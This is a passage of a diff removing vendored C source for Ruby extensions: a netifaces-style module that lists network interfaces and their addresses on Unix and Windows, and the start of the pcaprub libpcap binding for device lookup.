|
||||
|
||||
if (getifaddrs (&addrs) < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
|
||||
for (addr = addrs; addr; addr = addr->ifa_next)
|
||||
{
|
||||
char buffer[256];
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
|
||||
if (strcmp (addr->ifa_name, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
/* Sometimes there are records without addresses (e.g. in the case of a
|
||||
dial-up connection via ppp, which on Linux can have a link address
|
||||
record with no actual address). We skip these as they aren't useful.
|
||||
Thanks to Christian Kauhaus for reporting this issue. */
|
||||
if (!addr->ifa_addr)
|
||||
continue;
|
||||
|
||||
found = TRUE;
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_addr, buffer, sizeof (buffer)) == 0)
|
||||
rbaddr = rb_str_new2(buffer);
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_netmask, buffer, sizeof (buffer)) == 0)
|
||||
rbnetmask = rb_str_new2(buffer);
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_broadaddr, buffer, sizeof (buffer)) == 0)
|
||||
rbbraddr = rb_str_new2(buffer);
|
||||
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
{
|
||||
if (addr->ifa_flags & (IFF_POINTOPOINT | IFF_LOOPBACK))
|
||||
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
|
||||
else
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
}
|
||||
if (rbaddr || rbnetmask || rbbraddr)
|
||||
result = add_to_family(result, INT2FIX(addr->ifa_addr->sa_family), result2);
|
||||
}
|
||||
freeifaddrs (addrs);
|
||||
#elif HAVE_SOCKET_IOCTLS
|
||||
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
|
||||
if (sock < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
struct CNAME(ifreq) ifr;
|
||||
|
||||
char buffer[256];
|
||||
int is_p2p = FALSE;
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
VALUE rbdstaddr = Qnil;
|
||||
|
||||
strncpy (ifr.CNAME(ifr_name), StringValuePtr(dev), IFNAMSIZ);
|
||||
|
||||
#if HAVE_SIOCGIFHWADDR
|
||||
if (ioctl (sock, SIOCGIFHWADDR, &ifr) == 0)
|
||||
{
|
||||
if (string_from_sockaddr (&(ifr.CNAME(ifr_addr)), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
|
||||
VALUE rbhardw = Qnil;
|
||||
VALUE hash_hardw;
|
||||
hash_hardw = rb_hash_new();
|
||||
rbhardw = rb_str_new2(buffer);
|
||||
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
|
||||
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#if HAVE_SIOCGIFADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbaddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFNETMASK
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFNETMASK, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFNETMASK, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbnetmask = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFFLAGS
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFFLAGS, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFFLAGS, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
|
||||
if (ifr.CNAME(ifr_flags) & IFF_POINTOPOINT)
|
||||
{
|
||||
is_p2p = TRUE;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFBRDADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (!is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (!is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
|
||||
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbbraddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFDSTADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbdstaddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
if (rbdstaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
|
||||
|
||||
if (rbaddr || rbnetmask || rbbraddr || rbdstaddr)
|
||||
result = add_to_family(result, INT2FIX(AF_INET), result2);
|
||||
|
||||
close (sock);
|
||||
#endif /* HAVE_SOCKET_IOCTLS */
|
||||
|
||||
if (found)
|
||||
return result;
|
||||
else
|
||||
return Qnil;
|
||||
|
||||
}
|
||||
|
||||
VALUE
|
||||
rbnetifaces_s_interfaces (VALUE self)
|
||||
{
|
||||
VALUE result;
|
||||
result = rb_ary_new();
|
||||
|
||||
#if defined(WIN32)
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
|
||||
// First, retrieve the adapter information
|
||||
do {
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
if (dwRet == ERROR_NO_DATA)
|
||||
{
|
||||
free (pAdapterInfo);
|
||||
return result;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
int outputnamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char outputname[outputnamelen];
|
||||
memset(outputname, 0x00, outputnamelen);
|
||||
strncpy(outputname, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(outputname + 12, pInfo->AdapterName, AdapterName_len);
|
||||
VALUE ifname = rb_str_new2(outputname) ;
|
||||
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
}
|
||||
|
||||
free (pAdapterInfo);
|
||||
|
||||
#elif HAVE_GETIFADDRS
|
||||
const char *prev_name = NULL;
|
||||
struct ifaddrs *addrs = NULL;
|
||||
struct ifaddrs *addr = NULL;
|
||||
|
||||
if (getifaddrs (&addrs) < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
|
||||
for (addr = addrs; addr; addr = addr->ifa_next)
|
||||
{
|
||||
if (!prev_name || strncmp (addr->ifa_name, prev_name, IFNAMSIZ) != 0)
|
||||
{
|
||||
VALUE ifname = rb_str_new2(addr->ifa_name);
|
||||
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
|
||||
prev_name = addr->ifa_name;
|
||||
}
|
||||
}
|
||||
|
||||
freeifaddrs (addrs);
|
||||
#elif HAVE_SIOCGIFCONF
|
||||
|
||||
const char *prev_name = NULL;
|
||||
int fd = socket (AF_INET, SOCK_DGRAM, 0);
|
||||
struct CNAME(ifconf) ifc;
|
||||
int len = -1, n;
|
||||
if (fd < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
// Try to find out how much space we need
|
||||
#if HAVE_SIOCGSIZIFCONF
|
||||
if (ioctl (fd, SIOCGSIZIFCONF, &len) < 0)
|
||||
len = -1;
|
||||
#elif HAVE_SIOCGLIFNUM
|
||||
#error This code need to be checked first
|
||||
/*
|
||||
{ struct lifnum lifn;
|
||||
lifn.lifn_family = AF_UNSPEC;
|
||||
lifn.lifn_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
|
||||
ifc.lifc_family = AF_UNSPEC;
|
||||
ifc.lifc_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
|
||||
if (ioctl (fd, SIOCGLIFNUM, (char *)&lifn) < 0)
|
||||
len = -1;
|
||||
else
|
||||
len = lifn.lifn_count;
|
||||
}
|
||||
*/
|
||||
#endif
|
||||
|
||||
// As a last resort, guess
|
||||
if (len < 0)
|
||||
len = 64;
|
||||
|
||||
ifc.CNAME(ifc_len) = len * sizeof (struct CNAME(ifreq));
|
||||
ifc.CNAME(ifc_buf) = malloc (ifc.CNAME(ifc_len));
|
||||
|
||||
if (!ifc.CNAME(ifc_buf)) {
|
||||
close (fd);
|
||||
rb_raise(rb_eRuntimeError, "Not enough memory");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (fd, SIOCGLIFCONF, &ifc) < 0) {
|
||||
#else
|
||||
if (ioctl (fd, SIOCGIFCONF, &ifc) < 0) {
|
||||
|
||||
#endif
|
||||
free (ifc.CNAME(ifc_req));
|
||||
close (fd);
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
struct CNAME(ifreq) *pfreq = ifc.CNAME(ifc_req);
|
||||
|
||||
for (n = 0; n < ifc.CNAME(ifc_len)/sizeof(struct CNAME(ifreq));n++,pfreq++)
|
||||
{
|
||||
if (!prev_name || strncmp (prev_name, pfreq->CNAME(ifr_name), IFNAMSIZ) != 0)
|
||||
{
|
||||
VALUE ifname = rb_str_new2(pfreq->CNAME(ifr_name));
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
|
||||
prev_name = pfreq->CNAME(ifr_name);
|
||||
}
|
||||
}
|
||||
|
||||
free (ifc.CNAME(ifc_buf));
|
||||
close (fd);
|
||||
|
||||
#endif //
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
//This function is usefull only under windows to retrieve some additionnal interfaces informations
|
||||
VALUE
|
||||
rbnetifaces_s_interface_info (VALUE self, VALUE dev)
|
||||
{
|
||||
VALUE result = Qnil;
|
||||
|
||||
#if defined(WIN32)
|
||||
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
|
||||
// First, retrieve the adapter information
|
||||
do {
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
if (dwRet == ERROR_NO_DATA)
|
||||
{
|
||||
free (pAdapterInfo);
|
||||
return result;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
|
||||
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
|
||||
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char cmpAdapterName[cmpAdapterNamelen];
|
||||
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
|
||||
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
|
||||
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
result = rb_hash_new();
|
||||
rb_hash_aset(result, rb_str_new2("description"), rb_str_new2(pInfo->Description));
|
||||
rb_hash_aset(result, rb_str_new2("guid"), rb_str_new2(pInfo->AdapterName));
|
||||
|
||||
// Get the name from the registry
|
||||
const char* prefix = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
|
||||
const char* sufix = "\\Connection";
|
||||
int prefix_len = strlen(prefix);
|
||||
int sufix_len = strlen(sufix);
|
||||
int adaptername_len = strlen(pInfo->AdapterName);
|
||||
char* keypath = NULL;
|
||||
keypath = malloc(prefix_len + sufix_len + adaptername_len + 1);
|
||||
memset(keypath, 0x00, prefix_len + sufix_len + adaptername_len + 1);
|
||||
strncpy(keypath, prefix, prefix_len);
|
||||
strncpy(keypath + prefix_len, pInfo->AdapterName, adaptername_len);
|
||||
strncpy(keypath + prefix_len + adaptername_len, sufix, sufix_len);
|
||||
|
||||
HKEY hKey;
|
||||
LONG lRet = 0;
|
||||
LPBYTE buffer = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, keypath, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
|
||||
{
|
||||
// obtain current value size
|
||||
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, NULL, &dwSize);
|
||||
if (dwSize > 0 && ERROR_SUCCESS == lRet)
|
||||
{
|
||||
buffer = malloc((dwSize * sizeof(BYTE)) + 4);
|
||||
memset(buffer, 0x00, (dwSize * sizeof(BYTE)) + 4);
|
||||
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, buffer, &dwSize);
|
||||
if (ERROR_SUCCESS == lRet)
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(buffer));
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
free(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
free(keypath);
|
||||
}
|
||||
free (pAdapterInfo);
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
Vendored
-184
@@ -1,184 +0,0 @@
|
||||
#ifndef WIN32
|
||||
|
||||
# include <sys/types.h>
|
||||
# include <sys/socket.h>
|
||||
# include <net/if.h>
|
||||
# include <netdb.h>
|
||||
|
||||
# if HAVE_SOCKET_IOCTLS
|
||||
# include <sys/ioctl.h>
|
||||
# include <netinet/in.h>
|
||||
# include <arpa/inet.h>
|
||||
#if defined(__sun)
|
||||
#include <unistd.h>
|
||||
#include <stropts.h>
|
||||
#include <sys/sockio.h>
|
||||
#endif
|
||||
# endif /* HAVE_SOCKET_IOCTLS */
|
||||
|
||||
/* For logical interfaces support we convert all names to same name prefixed with l */
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
#define CNAME(x) l##x
|
||||
#else
|
||||
#define CNAME(x) x
|
||||
#endif
|
||||
|
||||
#if HAVE_NET_IF_DL_H
|
||||
# include <net/if_dl.h>
|
||||
#endif
|
||||
|
||||
/* For Linux, include all the sockaddr
|
||||
definitions we can lay our hands on. */
|
||||
#if !HAVE_SOCKADDR_SA_LEN
|
||||
# if HAVE_NETASH_ASH_H
|
||||
# include <netash/ash.h>
|
||||
# endif
|
||||
# if HAVE_NETATALK_AT_H
|
||||
# include <netatalk/at.h>
|
||||
# endif
|
||||
# if HAVE_NETAX25_AX25_H
|
||||
# include <netax25/ax25.h>
|
||||
# endif
|
||||
# if HAVE_NETECONET_EC_H
|
||||
# include <neteconet/ec.h>
|
||||
# endif
|
||||
# if HAVE_NETIPX_IPX_H
|
||||
# include <netipx/ipx.h>
|
||||
# endif
|
||||
# if HAVE_NETPACKET_PACKET_H
|
||||
# include <netpacket/packet.h>
|
||||
# endif
|
||||
# if HAVE_NETROSE_ROSE_H
|
||||
# include <netrose/rose.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_IRDA_H
|
||||
# include <linux/irda.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_ATM_H
|
||||
# include <linux/atm.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_LLC_H
|
||||
# include <linux/llc.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_TIPC_H
|
||||
# include <linux/tipc.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_DN_H
|
||||
# include <linux/dn.h>
|
||||
# endif
|
||||
|
||||
/* Map address families to sizes of sockaddr structs */
|
||||
static int af_to_len(int af)
|
||||
{
|
||||
switch (af)
|
||||
{
|
||||
case AF_INET: return sizeof (struct sockaddr_in);
|
||||
#if defined(AF_INET6) && HAVE_SOCKADDR_IN6
|
||||
case AF_INET6: return sizeof (struct sockaddr_in6);
|
||||
#endif
|
||||
#if defined(AF_AX25) && HAVE_SOCKADDR_AX25
|
||||
# if defined(AF_NETROM)
|
||||
case AF_NETROM: /* I'm assuming this is carried over x25 */
|
||||
# endif
|
||||
case AF_AX25: return sizeof (struct sockaddr_ax25);
|
||||
#endif
|
||||
#if defined(AF_IPX) && HAVE_SOCKADDR_IPX
|
||||
case AF_IPX: return sizeof (struct sockaddr_ipx);
|
||||
#endif
|
||||
#if defined(AF_APPLETALK) && HAVE_SOCKADDR_AT
|
||||
case AF_APPLETALK: return sizeof (struct sockaddr_at);
|
||||
#endif
|
||||
#if defined(AF_ATMPVC) && HAVE_SOCKADDR_ATMPVC
|
||||
case AF_ATMPVC: return sizeof (struct sockaddr_atmpvc);
|
||||
#endif
|
||||
#if defined(AF_ATMSVC) && HAVE_SOCKADDR_ATMSVC
|
||||
case AF_ATMSVC: return sizeof (struct sockaddr_atmsvc);
|
||||
#endif
|
||||
#if defined(AF_X25) && HAVE_SOCKADDR_X25
|
||||
case AF_X25: return sizeof (struct sockaddr_x25);
|
||||
#endif
|
||||
#if defined(AF_ROSE) && HAVE_SOCKADDR_ROSE
|
||||
case AF_ROSE: return sizeof (struct sockaddr_rose);
|
||||
#endif
|
||||
#if defined(AF_DECnet) && HAVE_SOCKADDR_DN
|
||||
case AF_DECnet: return sizeof (struct sockaddr_dn);
|
||||
#endif
|
||||
#if defined(AF_PACKET) && HAVE_SOCKADDR_LL
|
||||
case AF_PACKET: return sizeof (struct sockaddr_ll);
|
||||
#endif
|
||||
#if defined(AF_ASH) && HAVE_SOCKADDR_ASH
|
||||
case AF_ASH: return sizeof (struct sockaddr_ash);
|
||||
#endif
|
||||
#if defined(AF_ECONET) && HAVE_SOCKADDR_EC
|
||||
case AF_ECONET: return sizeof (struct sockaddr_ec);
|
||||
#endif
|
||||
#if defined(AF_IRDA) && HAVE_SOCKADDR_IRDA
|
||||
case AF_IRDA: return sizeof (struct sockaddr_irda);
|
||||
#endif
|
||||
}
|
||||
return sizeof (struct sockaddr);
|
||||
}
|
||||
|
||||
#define SA_LEN(sa) af_to_len(sa->sa_family)
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
#define SS_LEN(sa) af_to_len(sa->ss_family)
|
||||
#else
|
||||
#define SS_LEN(sa) SA_LEN(sa)
|
||||
#endif
|
||||
#else
|
||||
//remove a warning on openbsd
|
||||
#ifndef SA_LEN
|
||||
#define SA_LEN(sa) sa->sa_len
|
||||
#endif
|
||||
#endif /* !HAVE_SOCKADDR_SA_LEN */
|
||||
|
||||
# if HAVE_GETIFADDRS
|
||||
# include <ifaddrs.h>
|
||||
# endif /* HAVE_GETIFADDRS */
|
||||
|
||||
# if !HAVE_GETIFADDRS && (!HAVE_SOCKET_IOCTLS || !HAVE_SIOCGIFCONF)
|
||||
/* If the platform doesn't define, what we need, barf. If you're seeing this,
|
||||
it means you need to write suitable code to retrieve interface information
|
||||
on your system. */
|
||||
# error You need to add code for your platform.
|
||||
# endif
|
||||
|
||||
#else /* defined(WIN32) */
|
||||
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#endif /* defined(WIN32) */
|
||||
|
||||
#ifndef TRUE
|
||||
#define TRUE 1
|
||||
#endif
|
||||
|
||||
#ifndef FALSE
|
||||
#define FALSE 0
|
||||
#endif
|
||||
|
||||
/* On systems without AF_LINK (Windows, for instance), define it anyway, but
|
||||
give it a crazy value. On Linux, which has AF_PACKET but not AF_LINK,
|
||||
define AF_LINK as the latter instead. */
|
||||
#ifndef AF_LINK
|
||||
# ifdef AF_PACKET
|
||||
# define AF_LINK AF_PACKET
|
||||
# else
|
||||
# define AF_LINK -1000
|
||||
# endif
|
||||
# define HAVE_AF_LINK 0
|
||||
#else
|
||||
# define HAVE_AF_LINK 1
|
||||
#endif
|
||||
|
||||
|
||||
//Prototypes
|
||||
//Get a list of the adresses for a network interface
|
||||
VALUE rbnetifaces_s_addresses (VALUE class, VALUE dev);
|
||||
//Get a list of the network interfaces
|
||||
VALUE rbnetifaces_s_interfaces (VALUE self);
|
||||
//This function is usefull only under windows to retrieve some additionnal interfaces informations
|
||||
VALUE rbnetifaces_s_interface_info (VALUE self, VALUE dev);
|
||||
|
||||
Vendored
-783
@@ -1,783 +0,0 @@
|
||||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
#include "netifaces.h"
|
||||
|
||||
#include <pcap.h>
|
||||
|
||||
#if !defined(WIN32)
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/time.h>
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_IEEE802_11_RADIO_AVS)
|
||||
#define DLT_IEEE802_11_RADIO_AVS 163
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_LINUX_SLL)
|
||||
#define DLT_LINUX_SLL 113
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_PRISM_HEADER)
|
||||
#define DLT_PRISM_HEADER 119
|
||||
#endif
|
||||
|
||||
#if !defined(DLT_AIRONET_HEADER)
|
||||
#define DLT_AIRONET_HEADER 120
|
||||
#endif
|
||||
|
||||
#if !defined(PCAP_NETMASK_UNKNOWN)
|
||||
/*
|
||||
* Value to pass to pcap_compile() as the netmask if you don't know what
|
||||
* the netmask is.
|
||||
*/
|
||||
#define PCAP_NETMASK_UNKNOWN 0xffffffff
|
||||
#endif
|
||||
|
||||
static VALUE rb_cPcap;
|
||||
|
||||
#define PCAPRUB_VERSION "0.9-dev"
|
||||
|
||||
#define OFFLINE 1
|
||||
#define LIVE 2
|
||||
|
||||
typedef struct rbpcap {
|
||||
pcap_t *pd;
|
||||
pcap_dumper_t *pdt;
|
||||
char iface[256];
|
||||
char type;
|
||||
} rbpcap_t;
|
||||
|
||||
|
||||
typedef struct rbpcapjob {
|
||||
struct pcap_pkthdr hdr;
|
||||
unsigned char *pkt;
|
||||
int wtf;
|
||||
} rbpcapjob_t;
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_version(VALUE class)
|
||||
{
|
||||
return rb_str_new2(PCAPRUB_VERSION);
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupdev(VALUE self)
|
||||
{
|
||||
char *dev = NULL;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE ret_dev; /* device string to return */
|
||||
#if defined(WIN32) /* pcap_lookupdev is broken on windows */
|
||||
pcap_if_t *alldevs;
|
||||
pcap_if_t *d;
|
||||
|
||||
/* Retrieve the device list from the local machine */
|
||||
if (pcap_findalldevs(&alldevs,eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError,"%s",eb);
|
||||
}
|
||||
|
||||
/* Find the first interface with an address and not loopback */
|
||||
for(d = alldevs; d != NULL; d= d->next) {
|
||||
if(d->name && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
|
||||
dev=d->name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dev == NULL) {
|
||||
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found, Make sure WinPcap is installed.\n");
|
||||
}
|
||||
ret_dev = rb_str_new2(dev);
|
||||
/* We don't need any more the device list. Free it */
|
||||
pcap_freealldevs(alldevs);
|
||||
#else
|
||||
dev = pcap_lookupdev(eb);
|
||||
if (dev == NULL) {
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
}
|
||||
ret_dev = rb_str_new2(dev);
|
||||
#endif
|
||||
return ret_dev;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupaddrs(VALUE self,VALUE dev)
|
||||
{
|
||||
char *ldev = NULL;
|
||||
pcap_addr_t *addresses, *a = NULL;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE ret_dev; /* device string to return */
|
||||
pcap_if_t *alldevs;
|
||||
pcap_if_t *d;
|
||||
VALUE list;
|
||||
|
||||
/* Retrieve the device list from the local machine */
|
||||
if (pcap_findalldevs(&alldevs,eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError,"%s",eb);
|
||||
}
|
||||
|
||||
/* Find the first interface with an address and not loopback */
|
||||
for(d = alldevs; d != NULL; d= d->next) {
|
||||
if(strcmp(d->name,StringValuePtr(dev)) == 0 && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
|
||||
ldev=d->name;
|
||||
addresses=d->addresses;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ldev == NULL) {
|
||||
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found.\n");
|
||||
}
|
||||
|
||||
list = rb_ary_new();
|
||||
for(a = addresses; a != NULL; a= a->next) {
|
||||
switch(a->addr->sa_family)
|
||||
{
|
||||
case AF_INET:
|
||||
if (a->addr)
|
||||
rb_ary_push(list, rb_str_new2(inet_ntoa((((struct sockaddr_in *)a->addr)->sin_addr))));
|
||||
break;
|
||||
/* Don't like the __MINGW32__ comment for the moment need some testing ...
|
||||
case AF_INET6:
|
||||
#ifndef __MINGW32__ // Cygnus doesn't have IPv6
|
||||
if (a->addr)
|
||||
printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
|
||||
#endif
|
||||
break;
|
||||
*/
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
pcap_freealldevs(alldevs);
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_s_lookupnet(VALUE self, VALUE dev)
|
||||
{
|
||||
